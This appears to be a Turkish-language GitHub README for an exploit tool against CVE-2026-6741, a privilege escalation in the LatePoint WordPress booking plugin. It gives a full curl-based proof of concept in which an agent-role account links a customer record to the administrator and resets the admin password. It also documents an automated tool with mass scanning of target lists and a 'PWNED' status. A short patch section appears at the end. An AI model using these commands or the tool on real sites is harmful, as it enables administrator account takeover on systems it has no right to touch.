xxconi/CVE-2026-6741

GitHub: xxconi/CVE-2026-6741

Stars: 0 | Forks: 0

# CVE-2026-6741 CVE-2026-6741 is a CVSS 8.8 (High) Authenticated (Agent+) Privilege Escalation vulnerability in the LatePoint – Calendar Booking Plugin # CVE-2026-6741 — LatePoint Privilege Escalation Scanner ## 📌 Zafiyet Hakkında `latepoint_agent` rolüne sahip kimliği doğrulanmış bir saldırgan, herhangi bir LatePoint customer kaydını WordPress yönetici hesabına bağlayabilir ve ardından LatePoint'in kendi şifre sıfırlama akışını kullanarak yöneticinin şifresini değiştirebilir. Bu durum **tam site ele geçirimesiyle** sonuçlanır. ## 🔍 Zafiyet Özeti | Alan | Değer | |---|---| | **Plugin Adı** | LatePoint – Calendar Booking Plugin | | **Plugin Slug** | `latepoint` | | **CVE ID** | CVE-2026-6741 | | **CVSS Skoru** | 8.8 (High) | | **Zafiyet Türü** | Authenticated (Agent+) Privilege Escalation | | **Etkilenen Sürüm** | <= 5.4.1 | | **Yamalı Sürüm** | 5.4.2 | | **Gereksinim** | `latepoint_agent` rolü, WordPress 6.9+ | ## ⚙️ Teknik Analiz ### WordPress Abilities API LatePoint 5.3.0, WordPress 6.9+ ile gelen **Abilities API** desteğini ekledi. Bu API, eklentilerin REST API üzerinden çağrılabilen "ability" sınıfları kaydetmesine olanak tanır: // latepoint.php (5.4.1, line 907) if ( function_exists( 'wp_register_ability' ) ) { include_once LATEPOINT_ABSPATH . 'lib/abilities/class-latepoint-abilities.php'; } ### Zafiyetli Kod Yolu #### 1 — Yetenek Tanımı (Eksik Rol Kontrolü) // lib/abilities/customers/connect-customer-to-wp-user.php — line 12 protected function configure(): void { $this->id = 'latepoint/connect-customer-to-wp-user'; $this->label = __( 'Connect customer to WP user', 'latepoint' ); $this->permission = 'customer__edit'; // ← tek kontrol: bu capability } Agent rolü varsayılan olarak `customer__edit` yetkisine sahiptir: // lib/helpers/roles_helper.php — line 401 public static function get_default_capabilities_list_for_agent_role() { $capabilities = [ ... 'customer__edit', // ← agent bu yetkiye sahip ... ]; } #### 2 — execute() — Rol Kontrolü Yok // connect-customer-to-wp-user.php — lines 39–60 public function execute( array $args ) { $customer = new OsCustomerModel( (int) $args['customer_id'] ); $wp_user_id = (int) $args['wp_user_id']; if ( ! get_userdata( $wp_user_id ) ) { // Sadece kullanıcının var olup olmadığı kontrol ediliyor // EKSIK: Hedef kullanıcının rolü kontrol edilmiyor return new WP_Error( 'wp_user_not_found', ... ); } $customer->wordpress_user_id = $wp_user_id; // ← herhangi WP user'a bağla $customer->save(); return $this->serialize_customer( ... ); } #### 3 — Şifre Sıfırlama Zinciri // lib/models/customer_model.php — line 315 public function update_password( $password ) { if ( OsAuthHelper::can_wp_users_login_as_customers() && $this->wordpress_user_id ) { wp_set_password( $password, $this->wordpress_user_id ); // ↑ wordpress_user_id artık admin ID'si → admin şifresi değişir } } ### Neden Mevcut Kontroller Yetersiz? // LatePointAbstractAbility — check_permission() public function check_permission(): bool { return OsRolesHelper::can_user( $this->permission ); // Sadece ÇAĞIRANIN yetkisini kontrol eder // HEDEF kullanıcının rolünü kontrol etmez } ## 🔴 Saldırı Zinciri latepoint_agent hesabı │ ▼ 1. Agent olarak WP'ye giriş yap → REST nonce al │ ▼ 2. Hedef admin WordPress user ID'sini tespit et (wp-json/wp/v2/users veya ID=1) │ ▼ 3. POST /wp-json/wp/v2/abilities/latepoint/connect-customer-to-wp-user { "customer_id": 5, "wp_user_id": 1 } → Rol kontrolü yok → Başarılı │ ▼ 4. LatePoint forgot_password → customer emailine reset token gönder │ ▼ 5. Token ile change_password → update_password() çağrılır → wp_set_password("Hacked!", 1) → Admin şifresi değişti │ ▼ 6. Yeni şifreyle admin olarak giriş → Tam site kontrolü ✓ ## 🧪 Proof of Concept (Manuel) **Ön Koşullar:** - WordPress 6.9+ (Abilities API gerekli) - LatePoint <= 5.4.1 kurulu ve aktif - `latepoint_agent` rolüne sahip hesap - Kontrol edilen bir LatePoint customer kaydı ### Adım 1 — Agent Girişi + REST Nonce WP_URL="https://target.example.com" AGENT_USER="agent_user" AGENT_PASS="agent_password" # Cookie tabanlı oturum aç curl -c cookies.txt -b cookies.txt -s -X POST "$WP_URL/wp-login.php" \ -d "log=$AGENT_USER&pwd=$AGENT_PASS&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \ -H "Cookie: wordpress_test_cookie=WP+Cookie+check" # REST nonce al NONCE=$(curl -s -b cookies.txt \ "$WP_URL/wp-admin/admin-ajax.php?action=rest-nonce") echo "Nonce: $NONCE" ### Adım 2 — Admin User ID Tespiti # REST API ile admin kullanıcıları listele curl -s "$WP_URL/wp-json/wp/v2/users?roles=administrator" \ -H "X-WP-Nonce: $NONCE" | python3 -m json.tool ADMIN_WP_USER_ID=1 # Genellikle ID=1 ### Adım 3 — Customer → Admin Bağlama (Zafiyet) CUSTOMER_ID=5 # Kontrol ettiğin LatePoint customer ID curl -s -b cookies.txt -X POST \ "$WP_URL/wp-json/wp/v2/abilities/latepoint/connect-customer-to-wp-user" \ -H "Content-Type: application/json" \ -H "X-WP-Nonce: $NONCE" \ -d "{\"customer_id\": $CUSTOMER_ID, \"wp_user_id\": $ADMIN_WP_USER_ID}" Beklenen yanıt: { "id": 5, "wp_user_id": 1, "email": "attacker@example.com" } ### Adım 4 — Şifre Sıfırlama Başlat CUSTOMER_EMAIL="attacker@example.com" curl -s -X POST \ "$WP_URL/?latepoint_route=customer_cabinet%2Fforgot_password" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "password_reset_email=$CUSTOMER_EMAIL" LatePoint, `$CUSTOMER_EMAIL` adresine `account_nonce` token içeren bir sıfırlama emaili gönderir. ### Adım 5 — Şifre Değiştir RESET_TOKEN="" NEW_PASSWORD="Attacker_Password123!" curl -s -X POST \ "$WP_URL/?latepoint_route=customer_cabinet%2Fchange_password" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "password_reset_token=$RESET_TOKEN&password=$NEW_PASSWORD&password_confirmation=$NEW_PASSWORD" Bu çağrı `update_password()` → `wp_set_password($NEW_PASSWORD, 1)` zincirini tetikler. **Admin şifresi değişti.** ### Adım 6 — Admin Olarak Giriş Yap curl -c admin_cookies.txt -b admin_cookies.txt -s -X POST \ "$WP_URL/wp-login.php" \ -d "log=admin&pwd=$NEW_PASSWORD&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \ -H "Cookie: wordpress_test_cookie=WP+Cookie+check" ### Doğrulama # wp-admin erişimi curl -b admin_cookies.txt "$WP_URL/wp-admin/user-new.php" # Beklenen: 200 OK (wp-login.php'ye yönlendirme değil) # REST API ile rol doğrulama ADMIN_NONCE=$(curl -s -b admin_cookies.txt \ "$WP_URL/wp-admin/admin-ajax.php?action=rest-nonce") curl -s "$WP_URL/wp-json/wp/v2/users/me" \ -H "X-WP-Nonce: $ADMIN_NONCE" | python3 -m json.tool # Beklenen: "roles": ["administrator"] ## 🛠️ Otomatik Tarayıcı ### Kurulum git clone https://github.com/kullanici/cve-2026-6741-scanner cd cve-2026-6741-scanner pip install -r requirements.txt **requirements.txt** requests ## 🚀 Kullanım ### Tekil Hedef — Tam Otomatik python latepoint_privesc.py -u http://hedef.com \ --agent-user agent1 --agent-pass Pass123! ### Admin ID ve Customer ID Manuel Belirt python latepoint_privesc.py -u http://hedef.com \ --agent-user agent1 --agent-pass Pass123! \ --admin-id 1 \ --customer-id 5 \ --customer-email attacker@evil.com ### 2. Aşama — Reset Token ile Şifre Değiştir python latepoint_privesc.py -u http://hedef.com \ --agent-user agent1 --agent-pass Pass123! \ --admin-id 1 \ --customer-id 5 \ --customer-email attacker@evil.com \ --reset-token abc123xyz \ --new-password Hacked_2026! ### Toplu Tarama python latepoint_privesc.py -l targets.txt -t 10 \ --agent-user agent1 --agent-pass Pass123! \ -o sonuclar.txt ### Proxy ile (Burp Suite) python latepoint_privesc.py -u http://hedef.com \ --agent-user agent1 --agent-pass Pass123! \ --proxy http://127.0.0.1:8080 ## ⚙️ Parametreler ### Genel | Parametre | Kısa | Açıklama | Varsayılan | |---|---|---|---| | `--url` | `-u` | Tekil hedef URL | — | | `--list` | `-l` | Hedef listesi dosyası | — | | `--threads` | `-t` | Thread sayısı | `5` | | `--output` | `-o` | Çıktı dosyası | `privesc_results.txt` | | `--proxy` | — | Proxy URL | — | | `--timeout` | — | İstek timeout (sn) | `10` | | `--force` | — | Abilities API tespiti başarısız olsa devam et | `False` | ### Agent Kimlik Bilgileri | Parametre | Açıklama | |---|---| | `--agent-user` | Agent kullanıcı adı *(zorunlu)* | | `--agent-pass` | Agent şifresi *(zorunlu)* | ### Hedef Parametreler | Parametre | Açıklama | Varsayılan | |---|---|---| | `--admin-id` | Hedef admin WP user ID | otomatik tespit | | `--customer-id` | Kontrol edilen LatePoint customer ID | otomatik tespit | | `--customer-email` | LatePoint customer email adresi | agent email | ### Şifre Sıfırlama (2. Aşama) | Parametre | Açıklama | Varsayılan | |---|---|---| | `--reset-token` | Emailden alınan reset token | — | | `--new-password` | Yeni admin şifresi | `Pwned_CVE2026_6741!` | ## 📊 Tarayıcı Çıktı Durumları | Durum | Açıklama | |---|---| | `★ PWNED` | Admin şifresi değişti, oturum açıldı | | `~ RESET_SENT` | Reset emaili gönderildi — token bekleniyor | | `~ PWD_CHANGE` | Şifre değişti — admin girişi manuel doğrula | | `- LINK_FAIL` | Customer-Admin bağlama başarısız | | `- LOGIN_FAIL` | Agent girişi başarısız | | `- NO_PLUGIN` | LatePoint kurulu değil | | `- NO_ABILITY` | Abilities API kapalı (WP 6.9+ gerekli) | | `~ NO_CUST` | Customer ID bulunamadı — manuel belirt | | `~ UNREACH` | Hedefe ulaşılamıyor | ## 🖥️ Örnek Tarayıcı Çıktısı [*] Hedef : http://hedef.com [*] Agent : agent1 [*] Admin ID : otomatik tespit [*] Customer ID : otomatik tespit [*] Reset Token : email bekleniyor [*] Yeni Şifre : Pwned_CVE2026_6741! [→] http://hedef.com Adım 1/6: Agent girişi... [→] http://hedef.com Adım 2/6: Admin user ID tespiti... [→] http://hedef.com Adım 3/6: Customer ID tespiti... [→] http://hedef.com Adım 4/6: Customer #5 → Admin #1 bağlanıyor... [→] http://hedef.com Adım 5/6: Şifre sıfırlama başlatılıyor... [→] http://hedef.com Adım 6/6: Şifre değiştiriliyor (manuel token)... ════════════════════════════════════════════════════════════ [★ PWNED ] http://hedef.com Sürüm : 5.4.1 Admin ID : 1 Customer : #5 Kullanıcı : admin roles=['administrator'] ════════════════════════════════════════════════════════════ [+] Kaydedildi → privesc_results.txt ## 🔄 İki Aşamalı Kullanım Akışı ┌─────────────────────────────────────────────────────────┐ │ AŞAMA 1 — Bağla + Reset Emaili Gönder │ │ │ │ python latepoint_privesc.py -u http://hedef.com \ │ │ --agent-user agent1 --agent-pass Pass123! \ │ │ --customer-id 5 --customer-email attacker@evil.com │ │ │ │ → Çıktı: "Reset emaili gönderildi — token bekleniyor" │ └─────────────────────────┬───────────────────────────────┘ │ Email'den token al │ ┌─────────────────────────▼───────────────────────────────┐ │ AŞAMA 2 — Token ile Şifreyi Değiştir │ │ │ │ python latepoint_privesc.py -u http://hedef.com \ │ │ --agent-user agent1 --agent-pass Pass123! \ │ │ --customer-id 5 --customer-email attacker@evil.com \ │ │ --reset-token abc123xyz \ │ │ --new-password Hacked_2026! │ │ │ │ → Çıktı: ★ PWNED — roles=['administrator'] │ └─────────────────────────────────────────────────────────┘ ## 🛡️ Savunma / Yama | Önlem | Uygulama | |---|---| | **Eklenti Güncellemesi** | LatePoint 5.4.2+ sürümüne yükselt | | **Rol Kontrolü Ekle** | `execute()` içinde hedef kullanıcı rolünü doğrula | | **Abilities API Kısıtla** | Agent rolünden `connect-customer-to-wp-user` yetkisini kaldır | | **Şifre Sıfırlama Koruması** | Admin hesapları için LatePoint reset akışını devre dışı bırak | | **WP 6.9 Abilities Denetimi** | Kayıtlı ability'leri düzenli olarak gözden geçir | Güvenli `execute()` örneği: // Güvensiz (mevcut — 5.4.1) if ( ! get_userdata( $wp_user_id ) ) { return new WP_Error( 'wp_user_not_found', ... ); } // Güvenli (önerilen — 5.4.2+) $target_user = get_userdata( $wp_user_id ); if ( ! $target_user ) { return new WP_Error( 'wp_user_not_found', ... ); } // Hedef kullanıcının rolünü kontrol et if ( in_array( 'administrator', (array) $target_user->roles ) ) { return new WP_Error( 'forbidden', 'Cannot link customer to administrator.' ); } ## 📁 Dosya Yapısı cve-2026-6741-scanner/ ├── latepoint_privesc.py # Ana tarayıcı ├── requirements.txt # Bağımlılıklar └── README.md # Bu dosya ## ⚠️ Yasal Uyarı ## 📄 Lisans MIT License — Yalnızca eğitim ve araştırma amaçlıdır. ## 🔗 Referanslar - [Wordfence Advisory](https://www.wordfence.com/threat-intel/vulnerabilities/) - [WordPress Abilities API — WP 6.9](https://developer.wordpress.org/news/2025/abilities-api/) - [LatePoint Plugin Directory](https://wordpress.org/plugins/latepoint/) - [CVSS 3.1 Calculator](https://www.first.org/cvss/calculator/3.1) - [CWE-269: Improper Privilege Management](https://cwe.mitre.org/data/definitions/269.html)